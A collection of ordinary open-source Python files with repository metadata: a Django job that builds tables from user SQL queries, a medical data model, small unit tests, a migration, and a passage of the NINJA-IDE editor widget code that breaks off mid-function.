from __future__ import absolute_import, unicode_literals import logging import os import traceback from urllib.parse import urljoin from coadd.models import Release from common.notify import Notify from django.conf import settings from django.contrib.auth.models import User from django.template.loader import render_to_string from django.utils import timezone from lib.sqlalchemy_wrapper import DBBase from product.models import Product from userquery.models import Job, Table from .email import Email from .target_viewer import TargetViewer class CreateTableAs: def __init__(self, job_id, user_id, table_name, table_display_name, release_id, release_name, associate_target_viewer, task_id, schema=None): # Get an instance of a logger self.logger = logging.getLogger('userquery') self.user_id = user_id self.job_id = job_id self.table_name = table_name self.table_display_name = table_display_name self.release_id = release_id self.release_name = release_name self.associate_target_viewer = associate_target_viewer self.schema = schema self.task_id = task_id self.rows_count = 0 self.table = None # Flag que indica se a tabela foi criada nesta rodada, evita que tabelas já existentes sejam apagadas. self.table_created = False def do_all(self, ): self.logger.info("Starting User Query Job ID: [%s]" % self.job_id) # Recupera informação do Usuario. self.user = User.objects.get(pk=self.user_id) # Recupera informação do Job self.job = Job.objects.get(pk=self.job_id) # Recupera informação do Release self.release = Release.objects.get(pk=self.release_id) self.logger.debug("Release: %s" % self.release) # Altera o Status do Job para Running self._update_job_status_before_table_creation() # Envia email de notificação Start para o usuario. self._notify_by_email_start() try: # Cria a tabela, preenche com os dados, cria os indexes. self._create_table_by_job_id() # Registra a tabela # TODO: Adicionar a tabela uma relação com o Job que a criou. self.table = Table(table_name=self.table_name, display_name=self.job.display_name, owner=self.job.owner, schema=self.schema, release=self.release, tbl_num_objects=self.rows_count) self.table.save() # Registra a nova tabela como um produto no Target Viewer self._associate_target_viewer() # Altera o Status do Job para Done self.job.job_status = 'ok' self.job.save() # Notifica ao Usuario o termino do Job com sucesso. self._notify_by_email_finish() except Exception as e: # Altera o status do job para Error self.job.job_status = 'er' self.job.error = str(e) self.job.save() # Notifica o usuario o termino do Job com Error. self._notify_user_by_email_failure(e) finally: # Guarda a o datetime em que o job terminou. self.job.end_date_time = timezone.now() self.job.save() self.logger.info("Job completed Job ID: [%s] Job Status: [%s]" % (self.job.pk, self.job.job_status)) def _update_job_status_before_table_creation(self): self.job.job_status = 'rn' self.job.job_id = self.task_id self.job.save() self.logger.info("Changed Job status to Running") def _create_table_by_job_id(self): self.logger.info("Creating the table") try: db = DBBase('catalog') # Seta o log do user query a classe de banco de dados, # nesta instancia as querys serão logadas no log do userquery db.setLogger(self.logger) # Se não foi especificado um schema para a criação da tabela, utilizar o schema da conexão. if self.schema is None: self.schema = db.schema self.logger.debug("Schema: %s" % self.schema) self.logger.debug("Tablename: %s" % self.table_name) # Verificar se a tabela já existe if db.table_exists(self.table_name, self.schema): raise Exception("This %s table already exists." % self.table_name) # Criacao da tabela db.create_table_raw_sql(self.table_name, self.job.sql_sentence, schema=self.schema, timeout=self.job.timeout) # Flag que indica que a tabela foi criada neste job. em caso de erro daqui para frente ela deve ser apagada. self.table_created = True # Criacao da Primary key db.create_auto_increment_column(self.table_name, 'meta_id', schema=self.schema) # Total de linhas adicionadas a tabela self.rows_count = db.get_count(self.table_name, schema=self.schema) self.logger.debug("Rows Count: %s" % self.rows_count) self.logger.info("Table Created successfully.") except Exception as e: trace = traceback.format_exc() self.logger.error(trace) self.logger.error("Table creation failed: %s" % e) # Se a tabela tiver sido criada antes do erro é necessário fazer o drop. self.logger.info("Checking if the table was created, if it has been, it will be droped.") if self.table_created and db.table_exists(self.table_name, schema=self.schema): self.logger.info("Trying to drop the table.") try: db.drop_table(self.table_name, schema=self.schema) self.logger.info("Table successfully droped") except Exception as e: self.logger.error("Failed to drop the table. %s" % e) raise (e) def _associate_target_viewer(self): if self.associate_target_viewer: TargetViewer.register(user=self.user, table_pk=self.table.pk, release_name=self.release_name) def _notify_by_email_start(self): Email().send({ "email": self.user.email, "template": "job_notification_start.html", "subject": "The creation of your table is being processed", "username": self.user.username, "id_job": self.job.pk, "table_name": self.table_name, "table_display_name": self.table_display_name }) def _notify_by_email_finish(self): Email().send({ "email": self.user.email, "template": "job_notification_finish.html", "subject": "The table creation is finished", "username": self.user.username, "id_job": self.job.pk, "table_name": self.table_name, "table_display_name": self.table_display_name }) def _notify_user_by_email_failure(self, error_message): Email().send({ "email": self.user.email, "template": "job_notification_error.html", "subject": "The table creation failed", "username": self.user.username, "table_name": self.table_name, "error_message": error_message })
linea-it/dri
api/userquery/create_table_as.py
Python
gpl-3.0
7,499
""" Indivo Model for Medication Fill """ from fact import Fact from django.db import models from django.conf import settings class MedicationFill(Fact): name = models.CharField(max_length=200) name_type = models.CharField(max_length=200, null=True) name_value = models.CharField(max_length=200, null=True) name_abbrev = models.CharField(max_length=20, null=True) filled_by=models.CharField(null=True, max_length=200) date_filled=models.DateTimeField(null=True) amountfilled_unit=models.CharField(null=True, max_length=100) amountfilled_textvalue=models.CharField(null=True, max_length=20) amountfilled_value=models.CharField(null=True, max_length=40) amountfilled_unit_type=models.CharField(null=True, max_length=200) amountfilled_unit_value=models.CharField(null=True, max_length=20) amountfilled_unit_abbrev=models.CharField(null=True, max_length=20) ndc = models.CharField(max_length=200) ndc_type = models.CharField(max_length=200, null=True) ndc_value = models.CharField(max_length=200, null=True) ndc_abbrev = models.CharField(max_length=20, null=True) fill_sequence_number=models.IntegerField(null=True) lot_number=models.IntegerField(null=True) refills_remaining=models.IntegerField(null=True) instructions=models.TextField(null=True) def __unicode__(self): return 'MedicationFill %s' % self.id
newmediamedicine/indivo_server_1_0
indivo/models/fact_objects/medicationfill.py
Python
gpl-3.0
1,352
#!/usr/bin/env python3 import unittest import uuid from lofar.messaging.messagebus import TemporaryQueue import logging logger = logging.getLogger(__name__) #TODO: add tests for tbbservice if __name__ == '__main__': logging.basicConfig(format='%(asctime)s %(levelname)s %(message)s', level=logging.INFO) with TemporaryQueue(__name__) as tmp_queue: logger.warning("TODO: add tests for tbbservice!") exit(3) # and run all tests unittest.main()
kernsuite-debian/lofar
MAC/Services/TBB/TBBServer/test/t_tbbserver.py
Python
gpl-3.0
490
import unittest import mock import upload.injectionContainer as injectionContainer from upload.strategy.dummys.injectedContainerDummy import ContainerMock class TestAppUpload(unittest.TestCase): """ Class Test for app Upload """ def test_app_upload(self): """ Test case for upload file """ injectionContainer.Container.update( ContainerMock().container() ) from upload import appUpload result = appUpload.execute( injectionContainer.Container.dependency('logger'), injectionContainer.Container.dependency('config_app'), injectionContainer.Container.dependency('os'), injectionContainer.Container.dependency('yaml') ) self.assertTrue(result) def test_app_upload_config_error(self): """ Test case for upload file exception """ injectionContainer.Container.update( ContainerMock().container() ) from upload import appUpload config_mock = mock.Mock() config_mock.Handle = Exception('Corrupt configuration files') with self.assertRaises(Exception): appUpload.execute( injectionContainer.Container.dependency('logger'), config_mock, injectionContainer.Container.dependency('os'), injectionContainer.Container.dependency('yaml') ) def test_app_upload_execute_error(self): """ Test case for upload file exception """ injectionContainer.Container.update( ContainerMock().container() ) from upload import appUpload config_mock = mock.Mock() config_mock.get_strategy = Exception('Corrupt configuration files') with self.assertRaises(Exception): appUpload.execute( injectionContainer.Container.dependency('logger'), config_mock, injectionContainer.Container.dependency('os'), injectionContainer.Container.dependency('yaml') ) if __name__ == '__main__': unittest.main()
acostasg/upload
upload/tests/app/test_appUpload.py
Python
gpl-3.0
2,179
# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-05-26 13:40 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('steam_app', '0001_initial'), ] operations = [ migrations.AlterField( model_name='achievement', name='user', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), ]
aexposito6/Steam
Steam/steam_app/migrations/0002_auto_20170526_1340.py
Python
gpl-3.0
571
# -*- coding: utf-8 -*- # # Last Modified: 2013-09-02 by Alan Pipitone # added lines for Al'exa-Ide # # This file is part of NINJA-IDE (http://ninja-ide.org). # # NINJA-IDE is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # any later version. # # NINJA-IDE is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with NINJA-IDE; If not, see <http://www.gnu.org/licenses/>. from __future__ import absolute_import from __future__ import unicode_literals import re import sys import os from tokenize import generate_tokens, TokenError import token as tkn #lint:disable try: from StringIO import StringIO except: from io import StringIO #lint:enable from PyQt4.QtGui import QPlainTextEdit from PyQt4.QtGui import QFontMetricsF from PyQt4.QtGui import QToolTip from PyQt4.QtGui import QAction from PyQt4.QtGui import QTextOption from PyQt4.QtGui import QTextEdit from PyQt4.QtGui import QInputDialog from PyQt4.QtGui import QTextCursor from PyQt4.QtGui import QTextDocument from PyQt4.QtGui import QTextFormat from PyQt4.QtGui import QFont from PyQt4.QtGui import QMenu from PyQt4.QtGui import QPainter from PyQt4.QtGui import QColor from PyQt4.QtGui import QBrush from PyQt4.QtCore import SIGNAL from PyQt4.QtCore import QMimeData from PyQt4.QtCore import Qt from PyQt4.QtGui import QPixmap from PyQt4.QtGui import QFontMetrics from PyQt4.QtGui import QCursor from PyQt4.QtCore import QSize from PyQt4.QtCore import SIGNAL from PyQt4.QtCore import QMimeData from PyQt4.QtCore import Qt from ninja_ide import resources from ninja_ide.core import settings from ninja_ide.core import file_manager from ninja_ide.tools.completion import completer_widget from ninja_ide.gui.main_panel import itab_item from ninja_ide.gui.editor import highlighter from ninja_ide.gui.editor import syntax_highlighter from ninja_ide.gui.editor import helpers from ninja_ide.gui.editor import minimap from ninja_ide.gui.editor import pep8_checker from ninja_ide.gui.editor import errors_checker from ninja_ide.gui.editor import migration_2to3 from ninja_ide.gui.editor import sidebar_widget from ninja_ide.gui.editor import python_syntax from ninja_ide.tools.logger import NinjaLogger BRACE_DICT = {')': '(', ']': '[', '}': '{', '(': ')', '[': ']', '{': '}'} logger = NinjaLogger('ninja_ide.gui.editor.editor') if sys.version_info.major == 3: python3 = True else: python3 = False class Editor(QPlainTextEdit, itab_item.ITabItem): ############################################################################### # EDITOR SIGNALS ############################################################################### """ modificationChanged(bool) fileSaved(QPlainTextEdit) locateFunction(QString, QString, bool) [functionName, filePath, isVariable] openDropFile(QString) addBackItemNavigation() warningsFound(QPlainTextEdit) errorsFound(QPlainTextEdit) cleanDocument(QPlainTextEdit) findOcurrences(QString) cursorPositionChange(int, int) #row, col migrationAnalyzed() """ ############################################################################### def __init__(self, filename, project, project_obj=None): QPlainTextEdit.__init__(self) itab_item.ITabItem.__init__(self) self._alexaAppObjIconsCoords = [] self._alexaAppImgIconsCoords = [] self._alexaAppTextIconsCoords = [] self._alexaLogIconsCoords = [] #Config Editor self.set_flags() self.__lines_count = None self._sidebarWidget = sidebar_widget.SidebarWidget(self) if filename in settings.BREAKPOINTS: self._sidebarWidget._breakpoints = settings.BREAKPOINTS[filename] if filename in settings.BOOKMARKS: self._sidebarWidget._bookmarks = settings.BOOKMARKS[filename] self.pep8 = pep8_checker.Pep8Checker(self) if project_obj is not None: additional_builtins = project_obj.additional_builtins else: additional_builtins = [] self.errors = errors_checker.ErrorsChecker(self, additional_builtins) self.migration = migration_2to3.MigrationTo3(self) self.textModified = False self.newDocument = True self.highlighter = None self.syncDocErrorsSignal = False self._selected_word = '' #Set editor style self.apply_editor_style() self.set_font(settings.FONT_FAMILY, settings.FONT_SIZE) #For Highlighting in document self.extraSelections = [] self.wordSelection = [] self._patIsWord = re.compile('\w+') #Brace matching self._braces = None self.__encoding = None #Completer self.completer = completer_widget.CodeCompletionWidget(self) #Flag to dont bug the user when answer *the modification dialog* self.ask_if_externally_modified = False self.just_saved = False #Dict functions for KeyPress self.preKeyPress = { Qt.Key_Tab: self.__insert_indentation, Qt.Key_Backspace: self.__backspace, Qt.Key_Home: self.__home_pressed, Qt.Key_Enter: self.__ignore_extended_line, Qt.Key_Return: self.__ignore_extended_line, Qt.Key_BracketRight: self.__brace_completion, Qt.Key_BraceRight: self.__brace_completion, Qt.Key_ParenRight: self.__brace_completion, Qt.Key_Apostrophe: self.__quot_completion, Qt.Key_QuoteDbl: self.__quot_completion} self.postKeyPress = { Qt.Key_Enter: self.__auto_indent, Qt.Key_Return: self.__auto_indent, Qt.Key_BracketLeft: self.__complete_braces, Qt.Key_BraceLeft: self.__complete_braces, Qt.Key_ParenLeft: self.__complete_braces, Qt.Key_Apostrophe: self.__complete_quotes, Qt.Key_QuoteDbl: self.__complete_quotes} self._line_colors = { 'current-line': QColor( resources.CUSTOM_SCHEME.get('current-line', resources.COLOR_SCHEME['current-line'])), 'error-line': QColor( resources.CUSTOM_SCHEME.get('error-underline', resources.COLOR_SCHEME['error-underline'])), 'pep8-line': QColor( resources.CUSTOM_SCHEME.get('pep8-underline', resources.COLOR_SCHEME['pep8-underline'])), 'migration-line': QColor( resources.CUSTOM_SCHEME.get('migration-underline', resources.COLOR_SCHEME['migration-underline'])), } self.connect(self, SIGNAL("updateRequest(const QRect&, int)"), self._sidebarWidget.update_area) self.connect(self, SIGNAL("undoAvailable(bool)"), self._file_saved) self.connect(self, SIGNAL("cursorPositionChanged()"), self.highlight_current_line) self.connect(self.pep8, SIGNAL("finished()"), self.show_pep8_errors) self.connect(self.migration, SIGNAL("finished()"), self.show_migration_info) self.connect(self.errors, SIGNAL("finished()"), self.show_static_errors) self.connect(self, SIGNAL("blockCountChanged(int)"), self._update_file_metadata) self._mini = None if settings.SHOW_MINIMAP: self._mini = minimap.MiniMap(self) self._mini.show() self.connect(self, SIGNAL("updateRequest(const QRect&, int)"), self._mini.update_visible_area) #Indentation self.set_project(project_obj) #Context Menu Options self.__actionFindOccurrences = QAction( self.tr("Find Usages"), self) self.connect(self.__actionFindOccurrences, SIGNAL("triggered()"), self._find_occurrences) self.bindAppObjPixmap = QPixmap() self.bindAppImgPixmap = QPixmap() self.bindAppTextPixmap = QPixmap() self.bindLogPixmap = QPixmap() self.bindAppObjPixmap.load(resources.IMAGES['alexabindobjicon']) self.bindAppImgPixmap.load(resources.IMAGES['alexabindimgicon']) self.bindAppTextPixmap.load(resources.IMAGES['alexabindtexticon']) self.bindLogPixmap.load(resources.IMAGES['alexalogicon']) def set_project(self, project): if project is not None: self.indent = project.indentation self.useTabs = project.useTabs #Set tab usage if self.useTabs: self.set_tab_usage() self.connect(project._parent, SIGNAL("projectPropertiesUpdated(QTreeWidgetItem)"), self.set_project) else: self.indent = settings.INDENT self.useTabs = settings.USE_TABS def __get_encoding(self): """Get the current encoding of 'utf-8' otherwise.""" if self.__encoding is not None: return self.__encoding return 'utf-8' def __set_encoding(self, encoding): """Set the current encoding.""" self.__encoding = encoding encoding = property(__get_encoding, __set_encoding) def set_flags(self): if settings.ALLOW_WORD_WRAP: self.setWordWrapMode(QTextOption.WrapAtWordBoundaryOrAnywhere) else: self.setWordWrapMode(QTextOption.NoWrap) self.setMouseTracking(True) doc = self.document() option = QTextOption() if settings.SHOW_TABS_AND_SPACES: option.setFlags(QTextOption.ShowTabsAndSpaces) doc.setDefaultTextOption(option) self.setDocument(doc) self.setCenterOnScroll(settings.CENTER_ON_SCROLL) def set_tab_usage(self): tab_size = self.pos_margin / settings.MARGIN_LINE * self.indent self.setTabStopWidth(tab_size) if self._mini: self._mini.setTabStopWidth(tab_size) def set_id(self, id_): super(Editor, self).set_id(id_) if self._mini: self._mini.set_code(self.toPlainText()) if settings.CHECK_STYLE: self.pep8.check_style() if settings.SHOW_MIGRATION_TIPS: self.migration.check_style() if not python3: if settings.FIND_ERRORS: self.errors.check_errors() def _add_line_increment(self, lines, blockModified, diference): def _inner_increment(line): if line < blockModified: return line return line + diference return list(map(_inner_increment, lines)) def _add_line_increment_for_dict(self, data, blockModified, diference): def _inner_increment(line): if line < blockModified: return line newLine = line + diference summary = data.pop(line) data[newLine] = summary return newLine list(map(_inner_increment, list(data.keys()))) return data def _update_file_metadata(self, val): """Update the info of bookmarks, breakpoint, pep8 and static errors.""" if (self.pep8.pep8checks or self.errors.errorsSummary or self.migration.migration_data or self._sidebarWidget._bookmarks or self._sidebarWidget._breakpoints or self._sidebarWidget._foldedBlocks): cursor = self.textCursor() if self.__lines_count: diference = val - self.__lines_count else: diference = 0 blockNumber = cursor.blockNumber() - abs(diference) if self.pep8.pep8checks: self.pep8.pep8checks = self._add_line_increment_for_dict( self.pep8.pep8checks, blockNumber, diference) self._sidebarWidget._pep8Lines = list( self.pep8.pep8checks.keys()) if self.migration.migration_data: self.migration.migration_data = \ self._add_line_increment_for_dict( self.migration.migration_data, blockNumber, diference) self._sidebarWidget._migrationLines = list( self.migration.migration_data.keys()) if self.errors.errorsSummary: self.errors.errorsSummary = self._add_line_increment_for_dict( self.errors.errorsSummary, blockNumber, diference) self._sidebarWidget._errorsLines = list( self.errors.errorsSummary.keys()) if self._sidebarWidget._breakpoints and self.ID: self._sidebarWidget._breakpoints = self._add_line_increment( self._sidebarWidget._breakpoints, blockNumber, diference) settings.BREAKPOINTS[self.ID] = \ self._sidebarWidget._breakpoints if self._sidebarWidget._bookmarks and self.ID: self._sidebarWidget._bookmarks = self._add_line_increment( self._sidebarWidget._bookmarks, blockNumber, diference) settings.BOOKMARKS[self.ID] = self._sidebarWidget._bookmarks if self._sidebarWidget._foldedBlocks and self.ID: self._sidebarWidget._foldedBlocks = self._add_line_increment( self._sidebarWidget._foldedBlocks, blockNumber - 1, diference) self.__lines_count = val self.highlight_current_line() def show_pep8_errors(self): self._sidebarWidget.pep8_check_lines(list(self.pep8.pep8checks.keys())) if self.syncDocErrorsSignal: self._sync_tab_icon_notification_signal() else: self.syncDocErrorsSignal = True self.pep8.wait() def show_migration_info(self): lines = list(self.migration.migration_data.keys()) self._sidebarWidget.migration_lines(lines) self.highlighter.rehighlight_lines(lines) self.emit(SIGNAL("migrationAnalyzed()")) self.migration.wait() def hide_pep8_errors(self): """Hide the pep8 errors from the sidebar and lines highlighted.""" self._sidebarWidget.pep8_check_lines([]) self.pep8.reset() self.highlighter.rehighlight_lines([]) self._sync_tab_icon_notification_signal() def show_static_errors(self): self._sidebarWidget.static_errors_lines( list(self.errors.errorsSummary.keys())) if self.syncDocErrorsSignal: self._sync_tab_icon_notification_signal() else: self.syncDocErrorsSignal = True self.errors.wait() def hide_lint_errors(self): """Hide the lint errors from the sidebar and lines highlighted.""" self._sidebarWidget.static_errors_lines([]) self.errors.reset() self.highlighter.rehighlight_lines([]) self._sync_tab_icon_notification_signal() def _sync_tab_icon_notification_signal(self): self.syncDocErrorsSignal = False if self.errors.errorsSummary: self.emit(SIGNAL("errorsFound(QPlainTextEdit)"), self) elif self.pep8.pep8checks: self.emit(SIGNAL("warningsFound(QPlainTextEdit)"), self) else: self.emit(SIGNAL("cleanDocument(QPlainTextEdit)"), self) if self.highlighter: lines = list(set(list(self.errors.errorsSummary.keys()) + list(self.pep8.pep8checks.keys()))) self.highlighter.rehighlight_lines(lines) self.highlight_current_line() def has_write_permission(self): if self.newDocument: return True return file_manager.has_write_permission(self.ID) def restyle(self, syntaxLang=None): self.apply_editor_style() if self.lang == 'python': parts_scanner, code_scanner, formats = \ syntax_highlighter.load_syntax(python_syntax.syntax) self.highlighter = syntax_highlighter.SyntaxHighlighter( self.document(), parts_scanner, code_scanner, formats, errors=self.errors, pep8=self.pep8, migration=self.migration) if self._mini: self._mini.highlighter = syntax_highlighter.SyntaxHighlighter( self._mini.document(), parts_scanner, code_scanner, formats) return if self.highlighter is None or isinstance(self.highlighter, highlighter.EmpyHighlighter): self.highlighter = highlighter.Highlighter(self.document(), None, resources.CUSTOM_SCHEME, self.errors, self.pep8, self.migration) if not syntaxLang: ext = file_manager.get_file_extension(self.ID) self.highlighter.apply_highlight( settings.EXTENSIONS.get(ext, 'python'), resources.CUSTOM_SCHEME) if self._mini: self._mini.highlighter.apply_highlight( settings.EXTENSIONS.get(ext, 'python'), resources.CUSTOM_SCHEME) else: self.highlighter.apply_highlight( syntaxLang, resources.CUSTOM_SCHEME) if self._mini: self._mini.highlighter.apply_highlight( syntaxLang, resources.CUSTOM_SCHEME) def apply_editor_style(self): css = 'QPlainTextEdit {color: %s; background-color: %s;' \ 'selection-color: %s; selection-background-color: %s;}' \ % (resources.CUSTOM_SCHEME.get('editor-text', resources.COLOR_SCHEME['editor-text']), resources.CUSTOM_SCHEME.get('editor-background', resources.COLOR_SCHEME['editor-background']), resources.CUSTOM_SCHEME.get('editor-selection-color', resources.COLOR_SCHEME['editor-selection-color']), resources.CUSTOM_SCHEME.get('editor-selection-background', resources.COLOR_SCHEME['editor-selection-background'])) self.setStyleSheet(css) def _file_saved(self, undoAvailable=False): if not undoAvailable: self.emit(SIGNAL("fileSaved(QPlainTextEdit)"), self) self.newDocument = False self.textModified = False self.document().setModified(self.textModified) def register_syntax(self, lang='', syntax=None): self.lang = settings.EXTENSIONS.get(lang, 'python') if self.lang == 'python': parts_scanner, code_scanner, formats = \ syntax_highlighter.load_syntax(python_syntax.syntax) self.highlighter = syntax_highlighter.SyntaxHighlighter( self.document(), parts_scanner, code_scanner, formats, errors=self.errors, pep8=self.pep8, migration=self.migration) if self._mini: self._mini.highlighter = syntax_highlighter.SyntaxHighlighter( self._mini.document(), parts_scanner, code_scanner, formats) elif lang in settings.EXTENSIONS: self.highlighter = highlighter.Highlighter(self.document(), self.lang, resources.CUSTOM_SCHEME, self.errors, self.pep8, self.migration) if self._mini: self._mini.highlighter = highlighter.Highlighter( self._mini.document(), self.lang, resources.CUSTOM_SCHEME) elif syntax is not None: self.highlighter = highlighter.Highlighter(self.document(), None, resources.CUSTOM_SCHEME) self.highlighter.apply_highlight(lang, resources.CUSTOM_SCHEME, syntax) if self._mini: self._mini.highlighter = highlighter.Highlighter( self.document(), None, resources.CUSTOM_SCHEME) self._mini.highlighter.apply_highlight(lang, resources.CUSTOM_SCHEME, syntax) else: self.highlighter = highlighter.EmpyHighlighter(self.document()) if self._mini: self._mini.highlighter = highlighter.EmpyHighlighter( self.document()) def get_text(self): """ Returns all the plain text of the editor """ return self.toPlainText() def get_lines_count(self): """ Returns the count of lines in the editor """ return self.textCursor().document().lineCount() def cursor_inside_string(self): inside = False cursor = self.textCursor() pos = cursor.positionInBlock() user_data = syntax_highlighter.get_user_data(cursor.block()) for vals in user_data.str_groups: if vals[0] < pos < vals[1]: inside = True break return inside def cursor_inside_comment(self): inside = False cursor = self.textCursor() pos = cursor.positionInBlock() user_data = syntax_highlighter.get_user_data(cursor.block()) if (user_data.comment_start != -1) and \ (pos > user_data.comment_start): inside = True return inside def set_font(self, family=settings.FONT_FAMILY, size=settings.FONT_SIZE): font = QFont(family, size) self.document().setDefaultFont(font) self._update_margin_line(font) def jump_to_line(self, lineno=None): """ Jump to a specific line number or ask to the user for the line """ if lineno is not None: self.emit(SIGNAL("addBackItemNavigation()")) self.go_to_line(lineno) return maximum = self.blockCount() line = QInputDialog.getInt(self, self.tr("Jump to Line"), self.tr("Line:"), 1, 1, maximum, 1) if line[1]: self.emit(SIGNAL("addBackItemNavigation()")) self.go_to_line(line[0] - 1) def _find_occurrences(self): if self.textCursor().hasSelection(): word = self.textCursor().selectedText() else: word = self._text_under_cursor() self.emit(SIGNAL("findOcurrences(QString)"), word) def _unfold_blocks_for_jump(self, lineno): """Unfold the blocks previous to the lineno.""" for line in self._sidebarWidget._foldedBlocks: if lineno >= line: self._sidebarWidget.code_folding_event(line + 1) else: break def go_to_line(self, lineno): """ Go to an specific line """ self._unfold_blocks_for_jump(lineno) if self.blockCount() >= lineno: cursor = self.textCursor() cursor.setPosition(self.document().findBlockByLineNumber( lineno).position()) self.setTextCursor(cursor) def zoom_in(self): font = self.document().defaultFont() size = font.pointSize() if size < settings.FONT_MAX_SIZE: size += 2 font.setPointSize(size) self.setFont(font) self._update_margin_line(font) def zoom_out(self): font = self.document().defaultFont() size = font.pointSize() if size > settings.FONT_MIN_SIZE: size -= 2 font.setPointSize(size) self.setFont(font) self._update_margin_line(font) def _update_margin_line(self, font=None): if not font: font = self.document().defaultFont() # Fix for older version of Qt which doens't has ForceIntegerMetrics if "ForceIntegerMetrics" in dir(QFont): self.document().defaultFont().setStyleStrategy( QFont.ForceIntegerMetrics) font_metrics = QFontMetricsF(self.document().defaultFont()) if (font_metrics.width("#") * settings.MARGIN_LINE) == \ (font_metrics.width(" ") * settings.MARGIN_LINE): self.pos_margin = font_metrics.width('#') * settings.MARGIN_LINE else: char_width = font_metrics.averageCharWidth() self.pos_margin = char_width * settings.MARGIN_LINE def get_parent_project(self): return '' def get_cursor_position(self): return self.textCursor().position() def set_cursor_position(self, pos): if self.document().characterCount() >= pos: cursor = self.textCursor() cursor.setPosition(pos) self.setTextCursor(cursor) def indent_more(self): #cursor is a COPY all changes do not affect the QPlainTextEdit's cursor cursor = self.textCursor() #line where indent_more should start and end block = self.document().findBlock( cursor.selectionStart()) end = self.document().findBlock(cursor.selectionEnd()).next() #Start a undo block cursor.beginEditBlock() #Move the COPY cursor cursor.setPosition(block.position()) while block != end: cursor.setPosition(block.position()) if self.useTabs: cursor.insertText('\t') else: cursor.insertText(' ' * self.indent) block = block.next() #End a undo block cursor.endEditBlock() def indent_less(self): self._sidebarWidget._keypress = True #cursor is a COPY all changes do not affect the QPlainTextEdit's cursor cursor = self.textCursor() if not cursor.hasSelection(): cursor.movePosition(QTextCursor.EndOfLine) #line where indent_less should start and end block = self.document().findBlock( cursor.selectionStart()) end = self.document().findBlock(cursor.selectionEnd()).next() #Start a undo block cursor.beginEditBlock() cursor.setPosition(block.position()) while block != end: cursor.setPosition(block.position()) #Select Settings.indent chars from the current line if self.useTabs: cursor.movePosition(QTextCursor.Right, QTextCursor.KeepAnchor) else: cursor.movePosition(QTextCursor.Right, QTextCursor.KeepAnchor, self.indent) text = cursor.selectedText() if not self.useTabs and text == ' ' * self.indent: cursor.removeSelectedText() elif self.useTabs and text == '\t': cursor.removeSelectedText() block = block.next() #End a undo block cursor.endEditBlock() def find_match(self, word, flags, findNext=False): flags = QTextDocument.FindFlags(flags) if findNext: self.moveCursor(QTextCursor.NoMove, QTextCursor.KeepAnchor) else: self.moveCursor(QTextCursor.StartOfWord, QTextCursor.KeepAnchor) found = self.find(word, flags) if not found: cursor = self.textCursor() self.moveCursor(QTextCursor.Start) found = self.find(word, flags) if not found: self.setTextCursor(cursor) if found: self.highlight_selected_word(word) def replace_match(self, wordOld, wordNew, flags, allwords=False, selection=False): """Find if searched text exists and replace it with new one. If there is a selection just do it inside it and exit. """ tc = self.textCursor() if selection and tc.hasSelection(): start, end = tc.selectionStart(), tc.selectionEnd() text = tc.selectedText() old_len = len(text) max_replace = -1 # all text = text.replace(wordOld, wordNew, max_replace) new_len = len(text) tc.insertText(text) offset = new_len - old_len self.__set_selection_from_pair(start, end + offset) return flags = QTextDocument.FindFlags(flags) self.moveCursor(QTextCursor.Start, QTextCursor.KeepAnchor) cursor = self.textCursor() cursor.beginEditBlock() replace = True while (replace or allwords): result = False result = self.find(wordOld, flags) if result: tc = self.textCursor() if tc.hasSelection(): tc.insertText(wordNew) else: break replace = False cursor.endEditBlock() def focusInEvent(self, event): super(Editor, self).focusInEvent(event) try: #use parent().parent() to Access QTabWidget #First parent() = QStackedWidget, Second parent() = TabWidget #Check for modifications self.parent().parent().focusInEvent(event) except RuntimeError: pass def focusOutEvent(self, event): """Hide Popup on focus lost.""" self.completer.hide_completer() super(Editor, self).focusOutEvent(event) def resizeEvent(self, event): QPlainTextEdit.resizeEvent(self, event) self._sidebarWidget.setFixedHeight(self.height()) if self._mini: self._mini.adjust_to_parent() def __insert_indentation(self, event): if self.textCursor().hasSelection(): self.indent_more() elif self.useTabs: return False else: self.textCursor().insertText(' ' * self.indent) return True def __backspace(self, event): if self.textCursor().hasSelection() or self.useTabs: return False cursor = self.textCursor() cursor.movePosition(QTextCursor.StartOfLine, QTextCursor.KeepAnchor) text = cursor.selection().toPlainText() if (len(text) % self.indent == 0) and text.isspace(): cursor.movePosition(QTextCursor.StartOfLine) cursor.movePosition(QTextCursor.Right, QTextCursor.KeepAnchor, self.indent) cursor.removeSelectedText() return True def __home_pressed(self, event): if event.modifiers() == Qt.ControlModifier: return False elif event.modifiers() == Qt.ShiftModifier: move = QTextCursor.KeepAnchor else: move = QTextCursor.MoveAnchor if self.textCursor().atBlockStart(): self.moveCursor(QTextCursor.WordRight, move) return True cursor = self.textCursor() position = cursor.position() self.moveCursor(QTextCursor.StartOfLine, move) self.moveCursor(QTextCursor.WordRight, move) if position != self.textCursor().position() and \ cursor.block().text().startswith(' '): return True def __ignore_extended_line(self, event): if event.modifiers() == Qt.ShiftModifier: return True def __set_selection_from_pair(self, begin, end): """Set the current editor cursor with a selection from a given pair of positions""" cursor = self.textCursor() cursor.setPosition(begin) cursor.setPosition(end, QTextCursor.KeepAnchor) self.setTextCursor(cursor) def __reverse_select_text_portion_from_offset(self, begin, end): """Backwards select text, go from current+begin to current - end possition, returns text""" cursor = self.textCursor() cursor_position = cursor.position() cursor.setPosition(cursor_position + begin) #QT silently fails on invalid position, ergo breaks when EOF < begin while (cursor.position() == cursor_position) and begin > 0: begin -= 1 cursor.setPosition(cursor_position + begin) cursor.setPosition(cursor_position - end, QTextCursor.KeepAnchor) selected_text = cursor.selectedText() return selected_text def __quot_completion(self, event): """Indicate if this is some sort of quote that needs to be completed This is a very simple boolean table, given that quotes are a simmetrical symbol, is a little more cumbersome guessing the completion table. """ text = event.text() pos = self.textCursor().position() next_char = self.get_selection(pos, pos + 1).strip() if self.cursor_inside_string() and text == next_char: self.moveCursor(QTextCursor.Right) return True PENTA_Q = 5 * text TETRA_Q = 4 * text TRIPLE_Q = 3 * text DOUBLE_Q = 2 * text supress_echo = False pre_context = 